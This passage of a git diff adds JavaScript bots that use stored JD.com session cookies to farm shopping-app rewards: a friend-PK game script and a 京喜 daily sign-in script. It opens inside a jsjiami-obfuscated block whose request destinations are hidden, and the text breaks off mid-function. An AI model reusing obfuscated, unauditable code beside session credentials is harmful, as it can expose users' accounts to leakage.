_0x450804={'url':_0x198908,'headers':{'Host':_0x2f5518[_0x39a3('dd','OoMW')],'Connection':_0x2f5518['mziLz'],'Accept':_0x2f5518['pESnJ'],'User-Agent':_0x39a3('de','T^71'),'Accept-Language':_0x2f5518[_0x39a3('df','MRU^')]}};$[_0x39a3('e0','oFYv')](_0x450804,(_0x18e340,_0xedda58,_0x5f15da)=>{try{if(_0x5f15da){_0xea96fb['EWTOY'](_0x193be3,_0x5f15da);}}catch(_0x10c65b){console[_0x39a3('45',']YGL')](_0x10c65b);}finally{_0xea96fb[_0x39a3('e1','OoMW')](_0x193be3,_0x5f15da);}});});}function _0x260e12(_0x405714,_0x2666cf,_0x186bcd){var _0x8a98d7={'mLgty':function(_0x2d6370,_0x423376){return _0x2d6370(_0x423376);},'Hhfez':function(_0x456742,_0x4c33f2){return _0x2f5518['bsuvi'](_0x456742,_0x4c33f2);},'ydPhG':function(_0x12f0ba,_0x339798){return _0x12f0ba+_0x339798;},'TfzPQ':function(_0x131c82,_0x38e7c5){return _0x2f5518['lHTMk'](_0x131c82,_0x38e7c5);},'CvFUo':_0x2f5518[_0x39a3('e2','^xwk')],'WNuJc':_0x2f5518[_0x39a3('e3','e8GA')],'MgVzj':_0x2f5518[_0x39a3('e4','I2]9')],'UySCF':_0x39a3('e5','pTdG'),'YjDZD':_0x2f5518[_0x39a3('e6','X*t]')],'OesYE':_0x2f5518[_0x39a3('e7','qh5G')],'bqpNc':_0x2f5518[_0x39a3('e8','@da9')]};return new Promise(_0x5c12ff=>{let _0x561417=_0x8a98d7['ydPhG'](_0x8a98d7[_0x39a3('e9','e8GA')](_0x8a98d7[_0x39a3('ea','MRU^')]+_0x405714+_0x8a98d7[_0x39a3('eb','#YBg')]+_0x2666cf,_0x8a98d7[_0x39a3('ec','w&dc')]),_0x186bcd);let _0x2f4449={'url':_0x561417,'headers':{'Host':_0x8a98d7['UySCF'],'Connection':_0x8a98d7[_0x39a3('ed','oFYv')],'Accept':_0x8a98d7[_0x39a3('ee','afCd')],'User-Agent':_0x8a98d7[_0x39a3('ef','T6b#')],'Accept-Language':_0x39a3('f0','IaX&')}};$[_0x39a3('f1','@da9')](_0x2f4449,(_0x13b47d,_0x36c28d,_0x11aa60)=>{try{if(_0x11aa60){let _0x1ccc21=$[_0x39a3('f2','$($2')](_0x11aa60);_0x8a98d7[_0x39a3('f3','j8%E')](_0x5c12ff,_0x1ccc21);}}catch(_0xe3b4f2){console['log'](_0xe3b4f2);}finally{_0x8a98d7[_0x39a3('f4','$($2')](_0x5c12ff,_0x11aa60);}});});}_0x1d4d09[_0x39a3('f5','(UzM')]=_0x5c144e;}($);;_0xodV='jsjiami.com.v6'; + +!(async () => { + + if (!cookiesArr[0]) { + $.msg( + $.name, + "【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取", + "https://bean.m.jd.com/", { + "open-url": "https://bean.m.jd.com/" + } + ); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent( + cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1] + ); + $.index = i + 1; + message = ""; + console.log(`\n******开始【京东账号${$.index}】${$.UserName}*********\n`); + //await $.updatefriend(); + await $.main(); + } + } +})() + .catch((e) => { + $.log("", `❌ ${$.name}, 失败! 原因: ${e}!`, ""); + }) + .finally(() => { + $.done(); + }) + + +//已改 + + +//获取京享值分数 +function getScore(fpin) { + const mquery = `actId=9&appId=${APPID}&lkEPin=${fpin}`; + const myRequest = getGetRequest('getScore', mquery); + return new Promise((resolve) => { + $.get(myRequest, (err, resp, res) => { + let score = 0; + try { + if (res) { + let data = $.toObj(res); + if (data) { + score = data.data; + } + } + } catch (e) { + console.log(resp); + } finally { + // console.log("查询"+fpin+"分数 " + score ); + resolve(score); + } + }); + }); +} + + + +//获取用户PK余量信息 +function getUserPkInfo(pin) { + const mquery = `actId=9&appId=${APPID}&lkEPin=${pin}`; + const myRequest = getGetRequest('getUserPkInfo', mquery); + return new Promise((resolve) => { + $.get(myRequest, (err, resp, res) => { + + try { + if (res) { + let data = $.toObj(res); + data = data.data; + if (data) { + console.log(`${data.nickName}今天剩余主动邀请PK次数:${data.leftLunchPkNum} 被动邀请PK次数:${data.leftAcceptPkNum}`); + resolve(data); + } + } + } catch (e) { + console.log("getUserPkInfo出错:" + resp); + } finally { + resolve(); + } + }); + }); +} +async function getFriendPinList(pin) { + console.log("开始获取所有好友可以使用Pk列表中……"); + let allFriends = []; + for (let i = 0; i < 100; i++) { + let friends = await getUserFriendsPage(pin, i + 1); + if (friends.length === 0) { + console.log("好友列表到底了,共获取" + i + "页好友!!") + break; + } + //console.log(`第${i+1}页`); + for (let j = 0; j < friends.length; j++) { + let item = friends[j]; + + if (item.pkStatus == 2) { + if (item.leftAcceptPkNum > 0 && item.leftLunchPkNum > 0) { + allFriends.push(item.friendPin); + } + } + } + } + return allFriends; +} + +//获取好友PK列表 +function getUserFriendsPage(pin, pageNo) { + //?actId=9&pageNo=2&pageSize=10&appId=dafbe42d5bff9d82298e5230eb8c3f79&lkEPin=13f5ef448152243c1e8c7a33f3b76dd20f296a206a12473f57d63d95f3be0534 + const mquery = `actId=9&pageNo=${pageNo}&pageSize=10&appId=${APPID}&lkEPin=${pin}` + const myRequest = getGetRequest('getUserFriendsPage', mquery); + return new Promise((resolve) => { + $.get(myRequest, (err, resp, res) => { + let data; + try { + if (res) { + data = $.toObj(res); + data = data.datas; + if (data) { + resolve(data); + //console.log("获取好友PK列表第" + pageNo + "页"); + } + } + } catch (e) { + console.log(resp); + } finally { + + resolve(data); + } + }); + }); +} + + +//已改 +function getBoxRewardInfo(mypin) { + return new Promise((resolve) => { + const mquery = `actId=9&appId=${APPID}&lkEPin=${mypin}`; + const myRequest = getGetRequest('getBoxRewardInfo', mquery); + $.get(myRequest, (err, resp, res) => { + try { + + if (res) { + let data = $.toObj(res); + if (data.success) { + // $.awards = data.data.awards; + //console.log($.toStr($.awards)); + // $.totalWins=data.data.totalWins; + console.log("总胜场:" + data.data.totalWins); + resolve(data.data); + } + + } + } catch (e) { + console.log(resp); + } finally { + resolve(res); + } + }); + }); +} + +//已修复 +function sendBoxReward(rewardConfigId, mypin) { + return new Promise((resolve) => { + console.log("进行开宝箱") + const mquery = `rewardConfigId=${rewardConfigId}&actId=9&appId=${APPID}&lkEPin=${mypin}` + const myRequest = getGetRequest('sendBoxReward', mquery); + $.get(myRequest, (err, resp, res) => { + try { + console.log(res); + if (res) { + let data = $.toObj(res); + if (data.success) { + for (let j = 0; j < data.datas.length; j++) { + console.log('获得奖励类型:' + data.datas[j].type + "京豆数量:" + data.datas[j].beanNum); + } + + } + + } + } catch (e) { + console.log(resp); + } finally { + resolve(res); + } + }); + }); +} + +async function getPin() { + return new Promise((resolve) => { + let options = { + "url": `https://jdjoy.jd.com/saas/framework/encrypt/pin?appId=${APPID}`, + "headers": { + "Host": "jdjoy.jd.com", + "Origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/" + } + }; + + $.post(options, (err, resp, res) => { + try { + + // console.log(res); + if (res) { + let data = $.toObj(res); + if (data) { + let minfo = { Pin: data.data.lkEPin, lkToken: data.data.lkToken }; + resolve(minfo); + // $.pin = data.data.lkEPin + // $.lkToken=data.data.lkToken + } + } + } catch (e) { + console.log(e); + } finally { + resolve(); + } + }); + }); +}; + +function getToken() { + return new Promise((resolve) => { + let options = { + "url": `https://jdjoy.jd.com/saas/framework/user/token?appId=${APPID}&client=m&url=pengyougou.m.jd.com`, + "headers": { + "Host": "jdjoy.jd.com", + "Origin": "https://prodev.m.jd.com", + "Cookie": cookie, + "Connection": "keep-alive", + "Accept": "application/json, text/plain, */*", + "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + "Accept-Language": "zh-cn", + "Referer": "https://prodev.m.jd.com/" + } + }; + $.post(options, (err, resp, res) => { + let token; + //console.log(JSON.stringify(res)) + try { + if (res) { + let data = $.toObj(res); + if (data) { + token = data.data; + } + + } + } catch (e) { + console.log(e); + } finally { + resolve(token); + } + }); + }); +}; +function getGetRequest(type, query, checktype = 1) { + let url; + if (checktype == 0) { + url = `https://pengyougou.m.jd.com/open/api/like/jxz/${type}?${query}`; + } else { + url = `https://pengyougou.m.jd.com/like/jxz/${type}?${query}`; + } + + const method = `GET`; + const headers = { + 'Accept': `*/*`, + "Origin": `https://game-cdn.moxigame.cn`, + 'Sec-Fetch-Site': `cross-site`, + 'Sec-Fetch-Mode': `cors`, + 'Sec-Fetch-Dest': `empty`, + 'Connection': `keep-alive`, + 'Content-Type': `application/x-www-form-urlencoded`, + 'Referer': `https://game-cdn.moxigame.cn/`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Host': `pengyougou.m.jd.com`, + "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'Accept-Language': `zh-cn` + }; + //console.log(url) + return { url: url, method: method, headers: headers }; +}; + +function getPostRequest(type, query, body) { + const url = `https://pengyougou.m.jd.com/open/api/like/jxz/${type}?${query}`; + const method = `POST`; + const headers = { + 'Accept': `*/*`, + 'Origin': `https://game-cdn.moxigame.cn`, + 'Sec-Fetch-Site': `cross-site`, + 'Sec-Fetch-Mode': `cors`, + 'Sec-Fetch-Dest': `empty`, + 'Accept-Encoding': `gzip, deflate, br`, + 'Content-Type': `application/json;charset=UTF-8`, + 'Host': `pengyougou.m.jd.com`, + 'Connection': `keep-alive`, + "User-Agent": "jdapp;iPhone;9.5.4;13.6;db48e750b34fe9cd5254d970a409af316d8b5cf3;network/wifi;ADID/38EE562E-B8B2-7B58-DFF3-D5A3CED0683A;model/iPhone10,3;addressid/0;appBuild/167668;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 13_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1", + 'Referer': `https://game-cdn.moxigame.cn/`, + 'Accept-Language': `zh-cn` + }; + //console.log(url) + return myRequest = { url: url, method: method, headers: headers, body: body }; +}; + + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, "", "不要在BoxJS手动复制粘贴修改cookie"); + return []; + } + } +}; + +function sleep(timeout) { + return new Promise((resolve) => setTimeout(resolve, timeout)); +}; + + + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } diff --git a/backUp/jd_jx_sign.js b/backUp/jd_jx_sign.js new file mode 100644 index 0000000..7716d5a --- /dev/null +++ b/backUp/jd_jx_sign.js @@ -0,0 +1,301 @@ +/* + +5 0 * * * jd_jx_sign.js + +*/ +const $ = new Env('京喜签到'); +const notify = $.isNode() ? require('../sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('../jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://m.jingxi.com/'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + $.newShareCodes = [] + // await getAuthorShareCode(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.coins = 0 + $.money = 0 + await sign() + await getTaskList() + await doubleSign() + await showMsg() +} +function sign() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/sign/UserSignOpr"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + if(data.data.signStatus===0){ + console.log(`签到成功,获得${data.data.pingoujin}金币,已签到${data.data.signDays}天`) + $.coins += parseInt(data.data.pingoujin) + }else{ + console.log(`今日已签到`) + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getTaskList() { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/QueryPgTaskCfgByType","taskType=3"), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + for (task of data.data.tasks) { + if(task.taskState===1){ + console.log(`去做${task.taskName}任务`) + await doTask(task.taskId); + await $.wait(1000) + await finishTask(task.taskId); + await $.wait(1000) + } + } + }else{ + console.log(`签到失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/drawUserTask",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务领取成功`) + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function finishTask(id) { + return new Promise((resolve) => { + $.get(taskUrl("pgcenter/task/UserTaskFinish",`taskid=${id}`), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`任务完成成功,获得金币${data.datas[0]['pingouJin']}`) + $.coins += data.datas[0]['pingouJin'] + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doubleSign() { + return new Promise((resolve) => { + $.get(taskUrl("double_sign/IssueReward",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.retCode ===0){ + console.log(`双签成功,获得金币${data.data.jd_amount / 100}元`) + $.money += data.data.jd_amount / 100 + }else{ + console.log(`任务完成失败,错误信息${data.errMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function showMsg() { + message+=`本次运行获得金币${$.coins},现金${$.money}` + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} + +function taskUrl(functionId, body = '') { + return { + url: `${JD_API_HOST}${functionId}?sceneval=2&g_login_type=1&g_ty=ls&${body}`, + headers: { + 'Cookie': cookie, + 'Host': 'm.jingxi.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'Referer': 'https://jddx.jd.com/m/jddnew/money/index.html', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('../USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const 